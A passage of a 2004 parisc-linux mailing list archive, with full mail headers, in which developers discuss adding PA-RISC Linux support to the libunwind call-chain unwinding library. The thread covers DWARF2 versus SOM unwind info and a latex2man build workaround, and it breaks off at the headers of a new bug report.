Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04472-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 18:19:50 -0700 (MST)
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by free.linux.hp.com (Postfix) with ESMTP id 15B483BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 18:19:50 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by palrel12.hp.com (Postfix) with ESMTP id 83EAC42AE4E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 17:19:49 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123])
	by hplms2.hpl.hp.com (8.13.1/8.13.1/HPL-PA Hub) with ESMTP id
	iB51Jloj000512 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 17:19:48 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali [127.0.0.1])
	by napali.hpl.hp.com (8.13.1/8.13.1/Debian-18) with ESMTP id
	iB51Jlq7001657 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 17:19:47 -0800
Original-Received: (from davidm@localhost)
	by napali.hpl.hp.com (8.13.1/8.13.1/Submit) id iB51Jln3001654;
	Sat, 4 Dec 2004 17:19:47 -0800
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22179

Hi,

I have started to add PA-Linux support to Libunwind.  At the moment,
I'm only targeting DWARF2 unwind info (not the SOM-style PARISC
unwind-records) and not everything is implemented/working yet.  Even
so, many tests in the built-in test-suite already succeed.  Thus, I
think that even in this early state, others may have some use for it
so I thought it might be a good idea to mention it on this list (and
of course, bug-fixes/contributions are always welcome, too ;-).

At the moment, the PA Linux support is available only via the
bitkeeper repository at:

	bk://unwind.bkbits.net/libunwind/

If you want to play with this, just be sure to read the README.

A brief blurb on what libunwind is about is attached below.  For more
details, see:

  http://www.hpl.hp.com/research/linux/libunwind/intro.php4

The web-site also hosts the man-pages for the libunwind API and has
info on the libunwind mailing list.

Enjoy,

	--david

--
Libunwind is a portable and efficient C API to enable call-chain
introspection.  Some examples for what it can be used include:

    exception handling
        The libunwind API makes it trivial to implement the
        stack-manipulation aspects of exception handling.

    debuggers
        The libunwind API makes it trivial for debuggers to generate
        the call-chain (backtrace) of the threads in a running
        program.

    introspection
        It is often useful for a running thread to determine its
        call-chain. For example, this is useful to display error
        messages (to show how the error came about) and for
        performance monitoring/analysis.

    efficient setjmp()
        With libunwind, it is possible to implement an extremely
        efficient version of setjmp(). Effectively, the only context
        that needs to be saved consists of the stack-pointer(s).
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Sat, 4 Dec 2004 19:33:31 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20041205023331.GB5905@colo.lackof.org>
References: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623616 11930 80.91.229.3 (22 Nov 2014 02:33:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: davidm@hpl.hp.com
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24301 invoked by uid 65534); 5 Dec 2004 02:35:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx052) with SMTP; 05 Dec 2004 03:35:04 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E34B83BD42; Sat,  4 Dec 2004 19:34:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06150-10; Sat, 4 Dec 2004 19:34:28 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A4E4B3BE4A; Sat,  4 Dec 2004 19:34:10 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A3A353BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 19:34:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06150-06 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 19:34:04 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 429E83BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 19:34:04 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 6377F29804C; Sat,  4 Dec 2004 19:34:03 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06443-09; Sat, 4 Dec 2004 19:33:31 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 96BC229803C; Sat,  4 Dec 2004 19:33:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22180

On Sat, Dec 04, 2004 at 05:19:47PM -0800, David Mosberger wrote:
> Hi,
> 
> I have started to add PA-Linux support to Libunwind.

David,
Awesome!

> At the moment,
> I'm only targeting DWARF2 unwind info (not the SOM-style PARISC
> unwind-records) and not everything is implemented/working yet.

SOM is dead AFAIK. Only HPUX 32-bit uses SOM for anything.
I'm not sure where DWARF fits into the gcc releases but maybe
someone could remind me.

>   Even
> so, many tests in the built-in test-suite already succeed.  Thus, I
> think that even in this early state, others may have some use for it
> so I thought it might be a good idea to mention it on this list (and
> of course, bug-fixes/contributions are always welcome, too ;-).

:^)

> At the moment, the PA Linux support is available only via the
> bitkeeper repository at:
> 
> 	bk://unwind.bkbits.net/libunwind/

This worked for me:
# bk clone http://unwind.bkbits.net/libunwind/
# cd libunwind
# bk -r co -q

BTW, bitkeeper client is available for parisc-linux from bitkeeper.com.
I have it installed on most of my machines.

thanks again,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Sat, 4 Dec 2004 22:04:45 -0500 (EST)
Lines: 39
Approved: news@gmane.org
Message-ID: <200412050304.iB534j12014124@hiauly1.hia.nrc.ca>
References: <20041205023331.GB5905@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623617 11933 80.91.229.3 (22 Nov 2014 02:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:37 +0000 (UTC)
Cc: davidm@hpl.hp.com,
 parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14882 invoked by uid 65534); 5 Dec 2004 03:08:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 05 Dec 2004 04:08:08 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0E9E33BE4B; Sat,  4 Dec 2004 20:08:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06705-07; Sat, 4 Dec 2004 20:08:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A7F6C3BE4A; Sat,  4 Dec 2004 20:07:40 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB8673BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 20:07:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 06561-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 20:07:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 261263BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 20:07:34 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	iB534jko014126; Sat, 4 Dec 2004 22:04:46 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id iB534j12014124;
	Sat, 4 Dec 2004 22:04:45 -0500 (EST)
In-Reply-To: <20041205023331.GB5905@colo.lackof.org> from "Grant Grundler" at
	Dec 4, 2004 09:33:31 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22181

> > I'm only targeting DWARF2 unwind info (not the SOM-style PARISC
> > unwind-records) and not everything is implemented/working yet.
> 
> SOM is dead AFAIK. Only HPUX 32-bit uses SOM for anything.
> I'm not sure where DWARF fits into the gcc releases but maybe
> someone could remind me.

While only HP-UX 32-bit uses the SOM object format, parisc-linux
currently generates SOM-style unwind records generated from .callinfo
and other assembler statements.  At the moment, gdb uses the SOM-style
unwind records.

DWARF2 exception support has been available since GCC 3.3 but
the default exception model is still SJLJ.  SJLJ and DWARF2
can't be supported together in the same GCC build.  At the
moment, DWARF2 unwind info is generated only when using GCC
built with DWARF2 exception support, and when one of the following
GCC options is specified: -fexceptions, -funwind_tables or
-fasynchonous_unwind_tables.  You get -fexceptions when the
g++ driver is used, and possibly also with gcj.  Thus, some
migration to the new DWARF2 support is needed to take full
advantage of David's new library.

I must say I welcome David's new library.  Unwinding in gdb
has never been reliable with the SOM-style unwind records.
Some code reading is needed, etc.  The new library will make
it easy for applications to unwind on exceptions and print
backtraces when an internal problem occurs.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Sat, 4 Dec 2004 22:09:17 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20041205050917.GA8057@colo.lackof.org>
References: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623617 11935 80.91.229.3 (22 Nov 2014 02:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: davidm@hpl.hp.com
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 24051 invoked by uid 65534); 5 Dec 2004 05:10:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx070) with SMTP; 05 Dec 2004 06:10:18 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 86B5F3BD42; Sat,  4 Dec 2004 22:10:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07265-04; Sat, 4 Dec 2004 22:10:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id DB21B3BE4B; Sat,  4 Dec 2004 22:09:57 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 46F213BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 22:09:53 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07265-01 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 22:09:52 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id C251A3BC80
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 22:09:51 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id CB2CC29803C; Sat,  4 Dec 2004 22:09:50 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08726-03; Sat, 4 Dec 2004 22:09:17 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 9CF40298038; Sat,  4 Dec 2004 22:09:17 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22182

On Sat, Dec 04, 2004 at 05:19:47PM -0800, David Mosberger wrote:
...
> At the moment, the PA Linux support is available only via the
> bitkeeper repository at:
> 
> 	bk://unwind.bkbits.net/libunwind/
> 
> If you want to play with this, just be sure to read the README.

I read the README and learned I should be using gcc 3.4.x (and
debian testing default is gcc-3.3.4).

But I ran into a different (trivial) problem during the build:
...
make[1]: Leaving directory `/home/src/libunwind/tests'
Making all in doc
make[1]: Entering directory `/home/src/libunwind/doc'
latex2man -t ./libunwind.trans libunwind.tex libunwind.man
make[1]: latex2man: Command not found
make[1]: *** [libunwind.man] Error 127
make[1]: Leaving directory `/home/src/libunwind/doc'
make: *** [all-recursive] Error 1

apt-cache search latex2man and packages.debian.org didn't help.
Anyone have a clue which package latex2man is in?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Mosberger <davidm@napali.hpl.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-Linux version of libunwind
Date: Sat, 4 Dec 2004 21:15:00 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <16818.39252.802512.48866@napali.hpl.hp.com>
References: <200412050119.iB51Jln3001654@napali.hpl.hp.com>
	<20041205050917.GA8057@colo.lackof.org>
Reply-To: davidm@hpl.hp.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623617 11939 80.91.229.3 (22 Nov 2014 02:33:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:37 +0000 (UTC)
Cc: davidm@hpl.hp.com,
 parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 10390 invoked by uid 65534); 5 Dec 2004 05:15:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx064) with SMTP; 05 Dec 2004 06:15:47 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 261AC3BD42; Sat,  4 Dec 2004 22:15:28 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07234-10; Sat, 4 Dec 2004 22:15:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id D7EFC3BE4D; Sat,  4 Dec 2004 22:15:18 -0700 (MST)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2B6B13BE4B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 22:15:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07265-07 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Dec 2004 22:15:12 -0700 (MST)
Original-Received: from palrel11.hp.com (palrel11.hp.com [156.153.255.246])
	by free.linux.hp.com (Postfix) with ESMTP id CEA913BD42
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Dec 2004 22:15:11 -0700 (MST)
Original-Received: from hplms2.hpl.hp.com (hplms2.hpl.hp.com [15.0.152.33])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by palrel11.hp.com (Postfix) with ESMTP
	id 42D202DF8; Sat,  4 Dec 2004 21:15:03 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali.hpl.hp.com [15.4.89.123])
	by hplms2.hpl.hp.com (8.13.1/8.13.1/HPL-PA Hub) with ESMTP id
	iB55F1q5003391; Sat, 4 Dec 2004 21:15:01 -0800 (PST)
Original-Received: from napali.hpl.hp.com (napali [127.0.0.1])
	by napali.hpl.hp.com (8.13.1/8.13.1/Debian-18) with ESMTP id
	iB55F0C5002101; Sat, 4 Dec 2004 21:15:00 -0800
Original-Received: (from davidm@localhost)
	by napali.hpl.hp.com (8.13.1/8.13.1/Submit) id iB55F0Dc002098;
	Sat, 4 Dec 2004 21:15:00 -0800
In-Reply-To: <20041205050917.GA8057@colo.lackof.org>
X-Mailer: VM 7.19 under Emacs 21.3.1
X-URL: http://www.hpl.hp.com/personal/David_Mosberger/
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22183

>>>>> On Sat, 4 Dec 2004 22:09:17 -0700, Grant Grundler <grundler@parisc-linux.org> said:

  Grant> On Sat, Dec 04, 2004 at 05:19:47PM -0800, David Mosberger
  Grant> wrote: ...
  >> At the moment, the PA Linux support is available only via the
  >> bitkeeper repository at:
  >> 
  >> bk://unwind.bkbits.net/libunwind/
  >> 
  >> If you want to play with this, just be sure to read the README.

  Grant> I read the README and learned I should be using gcc 3.4.x
  Grant> (and debian testing default is gcc-3.3.4).

  Grant> But I ran into a different (trivial) problem during the
  Grant> build: ...  make[1]: Leaving directory
  Grant> `/home/src/libunwind/tests' Making all in doc make[1]:
  Grant> Entering directory `/home/src/libunwind/doc' latex2man -t
  Grant> ./libunwind.trans libunwind.tex libunwind.man make[1]:
  Grant> latex2man: Command not found make[1]: *** [libunwind.man]
  Grant> Error 127 make[1]: Leaving directory
  Grant> `/home/src/libunwind/doc' make: *** [all-recursive] Error 1

  Grant> apt-cache search latex2man and packages.debian.org didn't
  Grant> help.  Anyone have a clue which package latex2man is in?

If the time-stamps are correct, it shouldn't even try to rebuild the
man files, but you can work around the lack of latex2man with

	$ make L2M=cp

  --david
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] BUG maxcpus=1 still sees 2 CPUs
Date: Sat, 4 Dec 2004 23:41:12 -0700
Lines: 158
Approved: news@gmane.org
Message-ID: <20041205064112.GA10169@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623618 11942 80.91.229.3 (22 Nov 2014 02:33:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:33:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:15 2014
X-Mozilla-Status: 0001
